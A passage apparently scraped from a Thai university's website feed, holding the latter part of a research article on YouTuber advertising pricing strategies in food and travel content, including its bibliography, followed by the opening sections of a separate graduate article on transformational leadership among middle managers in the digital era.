สรุปผลการวิจัยเชิงประเด็นสำคัญ กลยุทธ์การกำหนดราคาYouTuber ในกลุ่มคอนเทนต์กินและท่องเที่ยวใช้กลยุทธ์การกำหนดราคาแบบ Cost-based, Value-based และ Competition-based โดยแนวโน้มสำคัญคือผู้ที่มีชื่อเสียงและฐานผู้ติดตามขนาดใหญ่ มักใช้ Value-based Pricing เพื่อสะท้อนคุณค่าที่สร้างให้กับแบรนด์ ซึ่งสอดคล้องกับแนวคิดของ Kotler และ Keller (2016)     ปัจจัยที่ผู้ประกอบการพิจารณาผู้ประกอบการให้ความสำคัญกับต้นทุน–ประโยชน์ ความคุ้มค่า และผลลัพธ์ด้านการตลาด ได้แก่ Awareness, Engagement และ Conversion มากกว่าการพิจารณาตัวเลขราคาเพียงอย่างเดียว    การรับรู้ของผู้ชมผู้ชมมีความเชื่อมั่นต่อความน่าเชื่อถือของ YouTuber และยอมรับโฆษณาที่สอดคล้องกับคอนเทนต์ โดยหลายคนตัดสินใจบริโภคหรือท่องเที่ยวตามคำแนะนำของ YouTuber ซึ่งสอดคล้องกับแนวคิด Influencer Marketing (Freberg, Graham, McGaughey, & Freberg, 2011)      โมเดลเบื้องต้นของการกำหนดราคาโฆษณาผลการวิจัยชี้ว่าการตั้งราคาควรพิจารณาอย่างน้อยสามมิติ ได้แก่ ต้นทุนการผลิต + คุณค่าที่สร้างให้แบรนด์ + การยอมรับของผู้ชม

5.1 อภิปรายผลการวิจัย

กลยุทธ์การกำหนดราคา (Pricing Strategies) ผลวิจัยพบว่า YouTuber ในหมวดกินและท่องเที่ยวใช้ทั้ง Cost-based Pricing, Value-based Pricing และ Competition-based Pricing โดย Cost-based Pricing มักใช้ในกลุ่ม YouTuber ที่เพิ่งเริ่มต้นหรือมีผู้ติดตามไม่มาก เพื่อให้ครอบคลุมต้นทุนการผลิตวิดีโอ เช่น ค่าเดินทาง ค่าอาหาร และค่าอุปกรณ์ถ่ายทำ (Nagle, Hogan, & Zale, 2016) ส่วน Value-based Pricing ปรากฏเด่นชัดในกลุ่ม YouTuber ที่มีชื่อเสียงและมี Engagement Rate สูง โดยสามารถกำหนดราคาในระดับสูงขึ้น เนื่องจากผู้ประกอบการรับรู้ถึงคุณค่าที่สามารถสร้างได้ เช่น การเพิ่มการรับรู้แบรนด์และยอดขาย Competition-based Pricing พบในกลุ่ม YouTuber ระดับกลางที่ต้องแข่งขันในตลาด โดยจะตั้งราคาที่ไม่แตกต่างจากคู่แข่งมากนักเพื่อดึงดูดผู้ว่าจ้าง (Liozu, 2021) ผลการวิจัยนี้สอดคล้องกับงานของ Choi และ Kim (2023) ที่ศึกษาพบว่า YouTuber ทั่วโลกใช้กลยุทธ์ผสมผสาน และมักปรับกลยุทธ์ตามสถานะความนิยมและคุณค่าที่สามารถสร้างได้จริงให้กับแบรนด์

ปัจจัยที่ผู้ประกอบการใช้พิจารณา (Decision Criteria of Advertisers) ผู้ประกอบการไม่ได้พิจารณาเพียงราคาค่าจ้าง แต่ให้ความสำคัญกับ ต้นทุน–ประโยชน์ (Cost–Benefit Analysis), ความคุ้มค่าเชิงกลยุทธ์ และผลลัพธ์ที่วัดได้ (Awareness–Engagement–Conversion) ซึ่งสอดคล้องกับงานของ Chen และ Dermawan (2022) ที่พบว่าคุณภาพผู้ชม (Audience Quality) และ ROI มีบทบาทสำคัญในการตัดสินใจเลือก Influencerสำหรับผู้ประกอบการไทย โดยเฉพาะธุรกิจอาหารและการท่องเที่ยว มักมองว่า YouTuber สามารถเป็น “ผู้ถ่ายทอดประสบการณ์” มากกว่าผู้โฆษณาโดยตรง การเลือก YouTuber ที่มีภาพลักษณ์ตรงกับแบรนด์และเข้าถึงกลุ่มลูกค้าเป้าหมายจึงสำคัญกว่าค่าใช้จ่ายเพียงอย่างเดียว (Phua, Jin, & Kim, 2020; Lou & Yuan, 2019) ปรากฏการณ์นี้สอดคล้องกับ Perceived Value Theory (Zeithaml, 1988) ที่ระบุว่าผู้ซื้อจะตัดสินใจเมื่อมองเห็นคุณค่ามากกว่าต้นทุน

การรับรู้ของผู้ชม (Audience Perception)ผู้ชมให้ความสำคัญกับ ความน่าเชื่อถือ (Credibility) และ ความเป็นของแท้ (Authenticity) ของ YouTuber อย่างชัดเจน ผลการวิจัยพบว่า เมื่อผู้ชมรับรู้ว่า YouTuber ถ่ายทอดจากประสบการณ์จริง จะเกิดความไว้วางใจสูงกว่า และยอมรับโฆษณาที่สอดคล้องกับคอนเทนต์โดยไม่มองว่าเป็นการยัดเยียดนอกจากนี้ ผู้ชมจำนวนมากยอมรับว่ามีพฤติกรรมการ ตัดสินใจบริโภคอาหารหรือท่องเที่ยวตามคำแนะนำของ YouTuber เมื่อรู้สึกว่าคอนเทนต์มีความจริงใจและสะท้อนประสบการณ์ตรง ผลลัพธ์นี้สนับสนุนแนวคิด Influencer Marketing ที่ว่า ความเชื่อถือและการมีส่วนร่วมของผู้ติดตามมีผลโดยตรงต่อการโน้มน้าวพฤติกรรมผู้บริโภค

 โมเดลเบื้องต้นของการกำหนดราคา (Advertising Pricing Model)จากการสังเคราะห์ข้อมูล ผลวิจัยเสนอโมเดลเบื้องต้นของการกำหนดราคาโฆษณา YouTuber ในสามมิติ ได้แก่ ต้นทุนการผลิต (Production Costs) เช่น ค่าเดินทางและค่าถ่ายทำ (Nagle et al., 2016) คุณค่าที่สร้างให้แบรนด์ (Perceived Brand Value) เช่น การสร้าง Brand Awareness และ Conversion และ การยอมรับของผู้ชม (Audience Acceptance) โดยอิงความน่าเชื่อถือและความจริงใจ โมเดลนี้ช่วยสะท้อนการผสมผสานทฤษฎีเศรษฐศาสตร์สื่อ (Anderson & Gabszewicz, 2006; Doyle, 2013) กับพฤติกรรมผู้บริโภคดิจิทัล (Solomon, 2020) อธิบายได้ว่าเรทราคาโฆษณาไม่ใช่เพียงผลจากกลไกตลาด แต่ขึ้นอยู่กับปัจจัยสังคม วัฒนธรรม และความสัมพันธ์ระหว่าง YouTuber–ผู้ชม–ผู้ประกอบการ

บริบทไทยกับการเปรียบเทียบต่างประเทศ

            ผลการวิจัยในบริบทไทยแสดงให้เห็นว่า ความนิยม YouTube ในการบริโภคคอนเทนต์กินและท่องเที่ยวสูงกว่าหมวดอื่น อันเนื่องจากวัฒนธรรมไทยที่ให้ความสำคัญกับอาหารและการเดินทาง ทำให้ YouTuber หมวดนี้มีอำนาจการต่อรองราคาเหนือกว่า Influencer ในสายอื่น ๆ ซึ่งแตกต่างจากประเทศตะวันตกที่เน้นหมวดแฟชั่นและความงาม (Lee & Watkins, 2016; Sokolova & Kefi, 2020) ลักษณะนี้ชี้ให้เห็นถึง ความจำเป็นของการวิจัยเชิงบริบท (Context-specific Research) ที่ไม่สามารถนำโมเดลตะวันตกมาใช้อธิบายโดยตรงได้ แต่ต้องปรับเข้ากับวัฒนธรรมและพฤติกรรมผู้บริโภคในแต่ละประเทศ (Napoli, 2022)   โดยสรุป ผลการวิจัยนี้สะท้อนว่า กลยุทธ์การกำหนดราคาโฆษณาของ YouTuber ไม่ได้ขึ้นกับต้นทุนเพียงอย่างเดียว แต่ยังพิจารณาคุณค่าเชิงแบรนด์และความสัมพันธ์กับผู้ชม อีกทั้งยังได้รับอิทธิพลจากบริบทวัฒนธรรมไทย การอภิปรายผลนี้จึงไม่เพียงช่วยยืนยันทฤษฎีที่มีอยู่ แต่ยังต่อยอดองค์ความรู้โดยการเน้นปัจจัยวัฒนธรรมและบริบทท้องถิ่นในฐานะตัวแปรสำคัญที่ต้องคำนึงถึง

 ข้อเสนอแนะเชิงปฏิบัติ (Practical Implications)

สำหรับ YouTuber: ควรกำหนดราคาโดยอิงทั้งต้นทุนและคุณค่าที่สร้างได้ พร้อมทั้งรักษาความน่าเชื่อถือและความจริงใจในการรีวิว เพื่อสร้างความสัมพันธ์ระยะยาวกับผู้ชมสำหรับผู้ประกอบการ: ควรเลือกลงทุนกับ YouTuber โดยใช้เกณฑ์ด้านความคุ้มค่า ผลลัพธ์เชิงการตลาด และความสอดคล้องของคอนเทนต์กับแบรนด์ มากกว่าตัวเลขราคาที่ถูกหรือแพงสำหรับผู้ชม: ควรตระหนักรู้ในการบริโภคคอนเทนต์และโฆษณา แยกแยะระหว่างรีวิวเชิงพาณิชย์กับรีวิวจากประสบการณ์จริง เพื่อการตัดสินใจที่มีเหตุผล

Executive Summary

งานวิจัยนี้มุ่งศึกษากลยุทธ์การกำหนดเรทราคาโฆษณาของ YouTuber ที่ผลิตคอนเทนต์ อาหารและการท่องเที่ยว ซึ่งเป็นหมวดที่ได้รับความนิยมสูงในประเทศไทยพบว่า YouTuber ส่วนใหญ่ใช้ กลยุทธ์ผสมผสาน ได้แก่Cost-based Pricing: คิดราคาโดยอิงต้นทุนการผลิต เช่น ค่าเดินทางและอุปกรณ์Value-based Pricing: เน้นคุณค่าที่สร้างให้แบรนด์ เช่น การเพิ่มการรับรู้และยอดขาย (กลยุทธ์นี้โดดเด่นที่สุดในกลุ่ม YouTuber ที่มีชื่อเสียงและฐานผู้ติดตามมาก)Competition-based Pricing: เปรียบเทียบกับคู่แข่งในตลาด เพื่อไม่ให้ราคาสูงหรือต่ำจนเกินไปผู้ประกอบการ ให้ความสำคัญกับ ความคุ้มค่า (Value for Money) และ ผลลัพธ์ทางการตลาด เช่น Awareness, Engagement และ Conversion มากกว่าการดูที่ตัวเลขราคาเพียงอย่างเดียวผู้ชม ให้ความสำคัญกับ ความน่าเชื่อถือ (Credibility) และ ความจริงใจ (Authenticity) ของ YouTuber หากรีวิวสะท้อนประสบการณ์จริงและไม่เป็นการยัดเยียดโฆษณา จะเพิ่มการยอมรับและส่งผลต่อการตัดสินใจบริโภค/ท่องเที่ยวตามคำแนะนำงานวิจัยเสนอ โมเดลเบื้องต้นของการกำหนดราคาโฆษณา ที่ประกอบด้วย 3 มิติหลักต้นทุนการผลิต (Production Costs)คุณค่าที่สร้างให้แบรนด์ (Perceived Value for Sponsor)การยอมรับของผู้ชม (Audience Acceptance)บทสรุปสำคัญคือ การสร้าง สมดุลระหว่างเรทราคา ความคุ้มค่า และความจริงใจ จะทำให้ทุกฝ่าย—YouTuber ผู้ประกอบการ และผู้ชม—ได้รับประโยชน์ร่วมกันอย่างไรก็ตาม คำถามที่น่าคิดคือ ในอนาคต YouTuber ไทยจะสามารถสร้างมาตรฐานเรทราคาโฆษณาที่โปร่งใสและเป็นธรรมได้หรือไม่? และ ผู้ประกอบการกับผู้ชมจะร่วมกันผลักดันระบบ Influencer Marketing ให้เติบโตอย่างยั่งยืนได้อย่างไร?

บรรณานุกรม

Abidin, C. (2023). *The matrix of authenticity influences cultures*. Routledge.

Anderson, S. P., & Gabszewicz, J. J. (2006). *The media and advertising: A tale of two-sided markets*. In V. A. Ginsburgh & D. Throsby (Eds.), *Handbook of the economics of art and culture* (Vol. 1, pp. 567–614). Elsevier.

Audrezet, A., Kerviler, G., & Moulard, J. G. (2020). *Authenticity under threat: When social media influencers need to go beyond self-presentation*. Journal of Business Research, 117, 557–569. https://doi.org/10.1016/j.jbusres.2018.07.008

Chen, J., & Dermawan, A. (2022). *Audience quality and pricing in influencer marketing: An empirical study*. Journal of Digital Marketing Research, 14(2), 45–59. https://doi.org/10.1016/j.jdmar.2022.02.004

Choi, H., & Kim, J. (2023). *Value-based pricing strategies for social media influencers: A focus on YouTube creators*. International Journal of Marketing Studies, 15(1), 12–25. https://doi.org/10.5539/ijms.v15n1p12

De Veirman, M., Cauberghe, V., & Hudders, L. (2017). *Marketing through Instagram influencers: The impact of number of followers and product divergence on brand attitude*. International Journal of Advertising, 36(5), 798–828.

Djafarova, E., & Rushworth, C. (2017). *Exploring the credibility of online celebrities’ Instagram profiles in influencing the purchase decisions of young female users*. Computers in Human Behavior, 68, 1–7. https://doi.org/10.1016/j.chb.2016.11.009

Doyle, G. (2013). *Understanding media economics* (2nd ed.). SAGE Publications.

Freberg, K., Graham, K., McGaughey, K., & Freberg, L. A. (2011). *Who are the social media influencers? A study of public perceptions of personality*. Public Relations Review, 37(1), 90–92.

Google. (2023). *YouTube Partner Program overview*. Retrieved from https://support.google.com/youtube/answer/72851

Ki, C. W., Cuevas, L. M., Chong, S. M., & Lim, H. (2020). *Influencer marketing: Social media influences human brands by attaching to followers and yielding positive marketing results by fulfilling needs*. Journal of Retailing and Consumer Services, 55, 102133.

Kotler, P., & Keller, K. L. (2020). *Marketing management* (16th ed.). Pearson Education.

Lee, J. E., & Watkins, B. (2016). *YouTube vloggers’ influence on consumer luxury brand perceptions and intentions*. Journal of Business Research, 69(12), 5753–5760.

Liozu, S. M. (2021). *The pricing journey: The organizational transformation toward pricing excellence*. Routledge.

Monroe, K. B. (2018). *Pricing: Making profitable decisions* (4th ed.). Routledge.

Napoli, P. M. (2022). *Social media and the public interest: Media regulation in the disinformation age*. Columbia University Press.

Phua, J., Jin, S. V., & Kim, J. J. (2020). *The roles of celebrity endorsers and consumers’ perceived authenticity in social media brand engagement*. Journal of Consumer Marketing, 37(5), 565–577. https://doi.org/10.1108/JCM-09-2019-3433

Schaefer, M. (2024). *Marketing rebellion: Human-centric marketing in the age of AI*. HarperCollins Leadership.

Solomon, M. R. (2020). *Consumer behavior: Buying, having, and being* (13th ed.). Pearson Education.

YouTube Official. (2024). *Creator updates and monetization policies*. Retrieved from https://www.youtube.com/intl/en/creators

Zeithaml, V. A. (1988). *Consumer perceptions of price, quality, and value: A means-end

 model and synthesis of evidence*. Journal of Marketing, 52(3),

]]> ภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล: การเรียนรู้ การปรับตัว  และการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง https://modernkrirkuniversity.com/2025/10/06/%e0%b8%a0%e0%b8%b2%e0%b8%a7%e0%b8%b0%e0%b8%9c%e0%b8%b9%e0%b9%89%e0%b8%99%e0%b8%b3%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%9b%e0%b8%a5%e0%b8%b5%e0%b9%88%e0%b8%a2%e0%b8%99%e0%b9%81%e0%b8%9b%e0%b8%a5/ Mon, 06 Oct 2025 08:08:57 +0000 https://modernkrirkuniversity.com/?p=30033 ภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล: การเรียนรู้ การปรับตัว

 และการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง

Transformational Leadership of Middle-Level Executives in the Digital Era: Learning, Adaptation, and the Promotion of a Change-Oriented Culture  

ฐิติรัตน์  คัมภิรานนท์

THITIRUT KUMPIRANON

อาจารย์ที่ปรึกษา ดร.จิตรกร ลากุล

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ  

                   การวิจัยครั้งนี้มีวัตถุประสงค์เพื่อศึกษา 1) ลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล 2) วิเคราะห์กระบวนการเรียนรู้และปรับตัวของผู้บริหารระดับกลางต่อการเปลี่ยนแปลง และ 3) เสนอแนวปฏิบัติที่ดีของผู้นำการเปลี่ยนแปลงในบริบทขององค์การไทยยุคใหม่ เก็บรวบรวมข้อมูลจากการศึกษาเอกสาร งานวิจัยที่เกี่ยวข้อง และสัมภาษณ์เชิงลึกผู้ให้ข้อมูลหลักจำนวน 15 คน โดยใช้วิธีการสุ่มแบบเจาะจง เพื่อคัดเลือกผู้บริหารที่มีประสบการณ์และบทบาทในการนำพาองค์การผ่านกระบวนการเปลี่ยนแปลงดิจิทัล  ใช้การวิเคราะห์เนื้อหาของข้อมูลที่เข้ารหัสเพื่อสรุปและตีความ มีการตรวจสอบความถูกต้องของข้อมูลแบบสามเส้าและตรวจสอบความเที่ยงตรงเชิงเนื้อหาตามวิธีการวิจัยเชิงคุณภาพ        

                   ผลการวิจัยพบว่า 1. ด้านลักษณะภาวะผู้นำการเปลี่ยนแปลง ผู้บริหารระดับกลางมีบทบาทสำคัญในการสื่อสารอย่างสร้างสรรค์ สร้างแรงบันดาลใจ และการเป็นแบบอย่างที่ดี โดยเน้นการปรับตัวให้เหมาะกับสถานการณ์และความคาดหวังที่เปลี่ยนแปลงไปอย่างรวดเร็วในยุคดิจิทัล 2. ด้านกระบวนการเรียนรู้และการปรับตัว ผู้บริหารใช้การเรียนรู้จากประสบการณ์จริง การเรียนรู้ร่วมกับทีม และการเสริมความรู้ผ่านแหล่งข้อมูลออนไลน์ มีการปรับตัวเน้นการปรับวิธีคิดและพฤติกรรมเพื่อรองรับการเปลี่ยนแปลง 3. แนวทางขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง ผู้บริหารควรเน้นการสร้างพื้นที่ปลอดภัยเพื่อสนับสนุนความคิดสร้างสรรค์ สื่อสารเปิดกว้างและต่อเนื่อง สร้างบรรยากาศของความไว้วางใจและการมีส่วนร่วม และบริหารความเปลี่ยนแปลงอย่างเป็นระบบ 

คำสำคัญ : ภาวะผู้นำการเปลี่ยนแปลง / ผู้บริหารระดับกลาง / วัฒนธรรมการเปลี่ยนแปลง

Abstract

                   This research aimed to: (1) examine the characteristics of transformational leadership among middle managers in the digital era, (2) analyze the learning and adaptation processes of middle managers in response to change, and (3) propose best practices for transformational leadership within the context of modern Thai organizations. Data were collected through a review of relevant literature and in-depth interviews with 15 key informants, selected through purposive sampling to ensure participants had experience and leadership roles in guiding their organizations through digital transformation. Content analysis was employed to code, summarize, and interpret the data. Triangulation and content validity checks were applied to ensure the credibility and trustworthiness of the qualitative findings.The results revealed that:

1. Regarding transformational leadership characteristics, middle managers played a pivotal role in fostering creative communication, inspiring others, and serving as role models. Emphasis was placed on adaptability to rapidly changing situations and expectations in the digital era. 2. In terms of learning and adaptation, middle managers engaged in experiential learning, team-based learning, and knowledge acquisition through online resources. Their adaptation process emphasized mindset shifts and behavioral changes to effectively navigate transformation.3. To promote a culture of change, it is recommended that leaders create psychologically safe spaces to support creativity, maintain open and continuous communication, foster an atmosphere of trust and participation, and manage change through a structured and systematic approach.

Keywords : Transformational leadership / Middle-level executives / Change-Oriented Culture

บทนำ

               ในยุคดิจิทัลที่เทคโนโลยีกำลังเปลี่ยนแปลงอย่างรวดเร็ว องค์กรต่าง ๆ จำเป็นต้องปรับตัวเพื่อความอยู่รอดและความสามารถในการแข่งขัน ผู้บริหารระดับกลางมีบทบาทสำคัญในการนำพาองค์การผ่านกระบวนการเปลี่ยนแปลงนี้ โดยเฉพาะในด้านการเรียนรู้ การปรับตัว และการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง Son, T. T., Phong, L. B., & Thu Loan, B. T. (2020)  ภาวะผู้นำการเปลี่ยนแปลง (Transformational Leadership) เป็นแนวทางหนึ่งที่ช่วยเสริมสร้างแรงบันดาลใจและกระตุ้นให้พนักงานมีส่วนร่วมในการเปลี่ยนแปลง อย่างไรก็ตาม ยังมีความท้าทายในการนำภาวะผู้นำนี้มาใช้ในบริบทของประเทศไทย ซึ่งมีวัฒนธรรมและโครงสร้างองค์กรที่แตกต่างจากประเทศตะวันตก จากการศึกษาบริบทการเปลี่ยนแปลงในยุคดิจิทัล พบผลการศึกษาของสถาบันวิจัย Gartner (2025) ที่ชี้ให้เห็นว่า ร้อยละ 87 ขององค์กรทั่วโลกต้องปรับโครงสร้างภายใน 5 ปี เพื่อรักษาความสามารถในการแข่งขัน สภาพแวดล้อมแบบ VUCA World (Volatility, Uncertainty, Complexity, Ambiguity) ส่งผลให้รูปแบบการบริหารแบบเดิมไม่เพียงพอ โดยเฉพาะบทบาทของผู้บริหารระดับกลาง (Middle Managers) ซึ่งเป็น “สะพานเชื่อม” ระหว่างผู้นำองค์กรและทีมปฏิบัติการ ต้องพัฒนาทักษะภาวะผู้นำการเปลี่ยนแปลง (Transformational Leadership) เพื่อขับเคลื่อนการปรับตัว

              ผู้บริหารระดับกลางในยุคดิจิทัลต้องเผชิญกับความคาดหวังสองทาง (Dual Expectations) ทั้งการแปลงนโยบายระดับสูงสู่การปฏิบัติ และการสร้างการมีส่วนร่วมของพนักงานในภาวะที่เทคโนโลยีเข้ามาแทนที่งานประจำ (Routine Work) การศึกษาของ Tomas C.-P. (2025) พบว่า ร้อยละ 62 ของผู้บริหารระดับกลางรู้สึกว่าตัวเองขาดทักษะด้านดิจิทัลและภาวะผู้นำแบบ agile ในขณะที่องค์กรต้องการให้พวกเขาเป็น “ตัวกลาง” ในการสร้างวัฒนธรรมการเปลี่ยนแปลง (Change Culture)

              ประเทศไทยกำลังเผชิญกับการเปลี่ยนแปลงครั้งใหญ่ในยุคดิจิทัล ซึ่งส่งผลกระทบอย่างลึกซึ้งต่อวิธีการทำงาน รูปแบบการบริหารจัดการ และวัฒนธรรมองค์กรทั่วประเทศ (วรัชยา ศิริวัฒน์ (2561) การเปลี่ยนผ่านนี้ไม่ใช่เพียงแค่การนำเทคโนโลยีใหม่ ๆ มาใช้เท่านั้น แต่ยังเกี่ยวข้องกับการเปลี่ยนแปลงวัฒนธรรมองค์กรและพฤติกรรมของบุคลากร รวมถึงการพัฒนาภาวะผู้นำที่สามารถขับเคลื่อนการเปลี่ยนแปลงได้อย่างมีประสิทธิภาพ ยั่งยืน  การศึกษาภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัลจึงเป็นเรื่องเร่งด่วนและสำคัญสำหรับประเทศไทย เพื่อให้สามารถรับมือกับความท้าทายของโลกยุคใหม่ได้อย่างมีประสิทธิภาพและสร้างความยั่งยืนในระดับองค์การและประเทศชาติ คุณค่าของการศึกษาวิจัยนี้จึงไม่เพียงแต่เป็นการนำเสนอกรอบแนวคิด (Conceptual Framework) ในการบูรณาการภาวะผู้นำการเปลี่ยนแปลงกับทักษะยุคดิจิทัล แต่ยังพัฒนาตัวชี้วัดความสำเร็จของการปรับตัว (Adaptation Metrics) ที่สามารถประยุกต์ใช้ในองค์การต่างๆ ได้อีกด้วย

วัตถุประสงค์ของการวิจัย

         1.  เพื่อศึกษาลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล

               2.  เพื่อวิเคราะห์กระบวนการเรียนรู้และปรับตัวของผู้บริหารระดับกลางต่อการเปลี่ยนแปลง

               3.  เพื่อเสนอแนวปฏิบัติที่ดี (Best Practices) ของภาวะผู้นำการเปลี่ยนแปลงในบริบทขององค์การไทยยุคใหม่

ขอบเขตการวิจัย

              1. ประชากรและกลุ่มตัวอย่าง

                   ประชากร ได้แก่ ผู้บริหารระดับกลางในองค์กรภาคเอกชนขนาดกลางและใหญ่ในประเทศไทยที่มีการดำเนินการปรับเปลี่ยนสู่ยุคดิจิทัล กลุ่มตัวอย่าง/ผู้ให้ข้อมูลหลัก จำนวน 15  คน ซึ่งผู้วิจัยใช้การเลือกด้วยวิธีการสุ่มแบบเจาะจง (Purposive Sampling) เพื่อคัดเลือกผู้บริหารที่มีประสบการณ์และบทบาทในการนำพาองค์กรผ่านกระบวนการเปลี่ยนแปลงดิจิทัล 

วิธีดำเนินการวิจัย

               การวิจัยนี้เป็นการวิจัยเชิงคุณภาพ เก็บรวบรวมข้อมูลจากเอกสารวิชาการ บทความ ดุษฎีนิพนธ์ ข้อมูลจากอินเทอร์เน็ต และการสัมภาษณ์เชิงลึก (In-depth interview) ผู้ให้ข้อมูลหลัก (Key informants)  ซึ่งเลือกแบบเจาะจงจากผู้ที่เกี่ยวข้องโดยตรงกับการวิจัยในครั้งนี้ 

              1. เครื่องมือที่ใช้ในการวิจัย

                    ในการวิจัยนี้ ใช้เครื่องมือในการเก็บรวบรมข้อมูลคือ แบบสัมภาษณ์เชิงลึกแบบกึ่งมีโครงสร้าง   โดยมีประเด็นคำถาม แยกเป็น 5 ส่วน ดังนี้

                   ส่วนที่ 1 ข้อมูลทั่วไปของผู้ให้สัมภาษณ์

                   ส่วนที่ 2 ลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล

                   ส่วนที่ 3 กระบวนการเรียนรู้และปรับตัวองผู้บริหารระดับกลางต่อการเปลี่ยนแปลง

                   ส่วนที่ 4 ข้อเสนอและแนวปฏิบัติที่ดีของผู้นำการเปลี่ยนแปลงในบริบทขององค์การยุคใหม่

                   ส่วนที่ 5 ข้อเสนอแนะอื่น ๆ

   2. การเก็บรวบรวมข้อมูล

                    ในการศึกษาวิจัยครั้งนี้ ผู้ศึกษาใช้วิธีการเก็บรวบรวมข้อมูลจากแหล่งข้อมูล จากแหล่งข้อมูลทุติยภูมิ (Secondary Data) โดยศึกษาเอกสาร ประกอบด้วยหนังสือ งานวิจัย รายงานการวิจัย บทความวิจัยและบทความวิชาการและเอกสารที่เผยแพร่ผ่านสื่อออนไลน์ที่เกี่ยวข้องกับวัตถุประสงค์ของการวิจัยและศึกษาจากแหล่งข้อมูลปฐมภูมิ (Primary Data) โดยใช้แบบสัมภาษณ์เชิงลึกแบบกึ่งมีโครงสร้าง ซึ่งผู้วิจัยกำหนดหัวข้อและประเด็นต่างๆในการสัมภาษณ์ให้ครอบคลุมวัตถุประสงค์งานวิจัย ร่วมกับการจดบันทึก ถ่ายภาพ บันทึกเสียง และจะหยุดสัมภาษณ์เมื่อได้ข้อมูลครบถ้วนหรืออิ่มตัว  

   3. การวิเคราะห์ข้อมูล

                       วิเคราะห์ข้อมูลแบบพื้นฐาน (Descriptive Analysis) และ การวิเคราะห์แก่นสาระสำคัญ (Thematic Analysis) ขั้นแรกผู้วิจัยทำการจัดข้อมูลออกตามประเภทข้อมูล (Type) จากนั้น ทำการจัดกลุ่มข้อมูลออกเป็นกลุ่ม (Category) และสร้างข้อสรุปเป็นประเด็นที่ละประเด็น จนครบทุกหัวข้อ ต่อจากนั้นแต่ละประเด็นมาสร้างข้อสรุปรวม รวมทั้งตรวจสอบข้อมูลแบบสามเส้า (Triangulation) เพื่อยืนยันความน่าเชื่อถือ (Credibility, Validity) ของข้อมูลหรือสิ่งที่ค้นพบ โดยการใช้ระเบียบวิธีการวิจัยในการศึกษาปรากฏการณ์เดียวกันเช่น ระเบียบวิธีวิจัย (Research method triangulation), ทฤษฎี(Theoretical triangulation), และข้อมูล (Data triangulation)

ผลการวิจัย

               ผลการวิจัยตามวัตถุประสงค์ข้อที่ 1   เพื่อศึกษาลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล  พบว่าการเปลี่ยนแปลงสู่ยุคดิจิทัลได้สร้างความท้าทายใหม่ต่อการบริหารจัดการองค์กร โดยเฉพาะอย่างยิ่งต่อผู้บริหารระดับกลางซึ่งมีบทบาทสำคัญในฐานะสะพานเชื่อมระหว่างนโยบายและการปฏิบัติ การศึกษาครั้งนี้มุ่งสำรวจลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในบริบทของการปฏิวัติดิจิทัล เพื่อให้เข้าใจถึงคุณลักษณะ กระบวนการ และปัจจัยที่มีอิทธิพลต่อความสำเร็จในการขับเคลื่อนการเปลี่ยนแปลงขององค์กร

            1. ลักษณะภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลาง ผลการวิจัยเผยให้เห็นว่าผู้บริหารระดับกลางในยุคดิจิทัลแสดงลักษณะภาวะผู้นำการเปลี่ยนแปลงที่โดดเด่นในห้ามิติหลัก ได้แก่ วิสัยทัศน์เชิงกลยุทธ์ การส่งเสริมการเรียนรู้และนวัตกรรม การสื่อสารเชิงเปิดกว้าง ความยืดหยุ่นและความสามารถในการปรับตัว และการสร้างวัฒนธรรมองค์กรที่สนับสนุนการเปลี่ยนแปลง

            2. วิสัยทัศน์เชิงกลยุทธ์ ผู้บริหารระดับกลางในยุคดิจิทัลจำเป็นต้องมีความสามารถในการมองเห็นอนาคตและกำหนดทิศทางกลยุทธ์ที่สอดคล้องกับบริบทที่เปลี่ยนแปลง การวิจัยพบว่าผู้บริหารให้ความสำคัญกับการสื่อสารเชิงกลยุทธ์และการสร้างแรงบันดาลใจ โดยเน้นการสื่อสารที่ชัดเจน มีเป้าหมาย และสร้างแรงจูงใจให้กับทีมงาน การถ่ายทอดวิสัยทัศน์ไม่ใช่เพียงการสั่งการ แต่เป็นการอธิบายให้ทีมงานเห็นภาพอนาคตร่วมกัน และรู้สึกเป็นส่วนหนึ่งของการเปลี่ยนแปลงผ่านการเล่าเรื่อง (Storytelling) ที่สร้างความหมายและความเชื่อมโยง

            บทบาทสำคัญของผู้บริหารระดับกลางคือการแปลงนโยบายและวิสัยทัศน์ของผู้บริหารระดับสูงให้กลายเป็นแผนปฏิบัติการที่เป็นรูปธรรม ผู้บริหารระดับกลางต้องมีความสามารถในการเชื่อมโยงเป้าหมายเชิงกลยุทธ์กับการดำเนินงานประจำวัน พร้อมทั้งปรับเปลี่ยนกลยุทธ์ตามสถานการณ์ที่เปลี่ยนแปลงอย่างรวดเร็วในยุคดิจิทัล เพื่อรักษาความได้เปรียบทางการแข่งขันและความต่อเนื่องขององค์กร นอกจากนี้ ผู้บริหารยังมีบทบาทในการสร้างค่านิยมและวัฒนธรรมองค์กรที่สอดคล้องกับเป้าหมาย เพื่อส่งเสริมความผูกพันและความรับผิดชอบร่วมกันต่อเป้าหมายขององค์กร

